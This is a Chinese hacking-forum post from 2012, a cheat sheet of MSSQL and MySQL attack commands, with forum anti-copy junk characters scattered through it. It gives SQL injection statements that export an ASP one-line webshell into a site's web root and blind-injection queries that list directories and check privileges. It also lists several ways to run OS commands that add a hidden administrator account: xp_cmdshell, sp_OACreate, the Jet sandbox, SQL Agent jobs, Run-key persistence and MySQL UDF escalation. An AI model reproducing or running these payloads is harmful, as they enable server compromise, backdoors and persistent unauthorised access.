中国网络渗透测试联盟

标题: mssql实用命令及导出一句话 [打印本页]

作者: admin    时间: 2012-9-13 17:49
标题: mssql实用命令及导出一句话
MSSQL语句导出一句话木马
) Z  ~% R1 v8 y2 O/ \/ g; n/ j$ d# I4 [首先确定网站的WEB路径9 E8 P9 }6 P( q
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马! v/ @3 Y5 _5 m( o0 l! X

/ S. n& ~3 E8 V;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
6 k$ @: @( w( ]1 i//将一句话木马插入表中
7 v. x5 ^3 s2 H6 A/ \# q* ~2 {: |) ~7 i  e$ Q* L- H7 z! P
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- ! B8 F. e# a! T
//导出一个ASP文件
7 ?/ W. p# U" ]2 e+ q
* G( @9 F% u2 k* W0 J* J8 r( }
: q6 c; b' J- ?3 J* k2 f- O关于MSSQL列目录3 _0 e4 R' E* M4 v. ?, J* o
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
$ J2 }% r: Y. VInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
* W5 |+ d" F. Y8 m5 J, P1 W& _  l9 ]) g) |# w" x  r: d
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录: p, {+ R9 c$ W, i

: i2 }% t' d0 J, x$ [And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
! c; [/ k/ P& V, e
+ l2 v( a- y8 jAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符3 P& V) n7 V& a1 m7 P1 t
! \6 k+ `- `# _$ g+ w1 x# U
: r$ M/ z0 g1 f0 V2 e
数据库版本和权限查看
+ l  e/ D4 \) C  S) P7 T& vand 1=(select @@VERSION) //查看详细的数据库信息.0 T5 a7 k- e! g# Z8 ?& \: y
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA. W6 u3 c9 f* v* A4 {5 O8 l( h+ L
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER8 |, d" y: `" C( ~$ g
/ Y; ~4 \+ q4 O, l- z& h0 `

, d% g9 _" O6 p( ?1.利用xp_cmdshell执行命令4 P5 V9 @7 @; O2 ^# d* F
exec master..xp_cmdshell 'net user rfire 123456 /add'
: V2 t( ~" i- @, z' I" @5 Rexec master..xp_cmdshell 'net localgroup administrators rfire /add'! _0 K6 w* g( Q2 b0 d0 B
- C; V7 o" {1 x! j# N) x
恢复xp_cmdshell存储过程
& F0 a4 c6 @0 ~+ u: U; xExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'* n" T$ `2 z& n1 p4 H& r

1 v* K6 X$ w1 d0 n( }8 l+ r8 K$ h* \, q
2.利用SP_OAcreate和SP_OAMETHOD执行命令
0 P) l0 b4 `$ u+ B% b! u9 W: ~  x在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下; e  Q1 w; s4 \( U( G
DECLARE @shell INT //建立一个@shell实体
  K8 d- ^$ u% L: xEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例( {7 z- S5 |  m
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
4 w2 h) O  `$ C# I* x* J
4 X1 O$ H# R& b. K, p& U9 a' P' l( l/ y$ W$ U1 q6 n
3.利用沙盒模式
5 [9 G' l5 N+ K+ x先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。! h7 _9 L* y+ V( V
开启沙盒模式:
1 v, G  b* U6 b0 L7 }# h/ \EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0, F( g; U& z& Y* {: c, v
  G" P& {/ g' X4 P1 t# X: X$ z6 {% M
执行命令:
) c7 D+ _, b. R1 wSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');( q( O2 \% N$ T) w% w7 {$ U4 s
, K) c+ e7 X) f. B
( y+ H) N0 {9 g
4.利用SQL代理执行命令
: N! X' n- ]" u! h6 QEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
) y  w/ D, f7 X
  k, @1 c) A% b, v执行命令:, G& {; ~% l9 c" O8 D6 I
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错) h( g& G5 N% P  [/ p. P' X
exec sp_add_job 'x'
, D: h) `' v! x; X* ?1 `0 d9 I4 e  zexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业* t' ]: x* O( l/ f
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
$ o9 |0 Q* V; m2 H. u0 Y5 i  ]$ O. ]1 B$ K, B, z' o

! n- x/ @7 a$ q9 B% D9 q7 @+ X5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
7 p# x3 b% _6 J# `* iEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'2 g3 E% V4 x6 o
' |8 L9 o: ^8 f- K" D

. v2 F/ v. e0 E! X: T( r6.MYSQL的命令执行8 ]+ C4 l2 r/ Z+ O- C2 `% j: R
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)+ [5 G& D$ N, Z2 j- G# q7 s: v& `
首先要在su.php下导出c:\windows\udf.dll# f, }: I6 b' W4 u1 _4 s" k
导出后执行创建自定义函数命令:% i  ]* c  U: s% i2 O
Create Function cmdshell returns string soname 'udf.dll'3 @& |4 a3 V. I" q" N. N$ `$ _( T
执行命令
( S# q: x! z* c( t' cselect cmdshell('net user rfire 123456 /add')! C! U& o( N8 e3 b; R7 l) L1 q' Z% }
执行后删除函数 drop function cmdshell* x% l4 O6 x. {0 W8 A0 v7 v





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2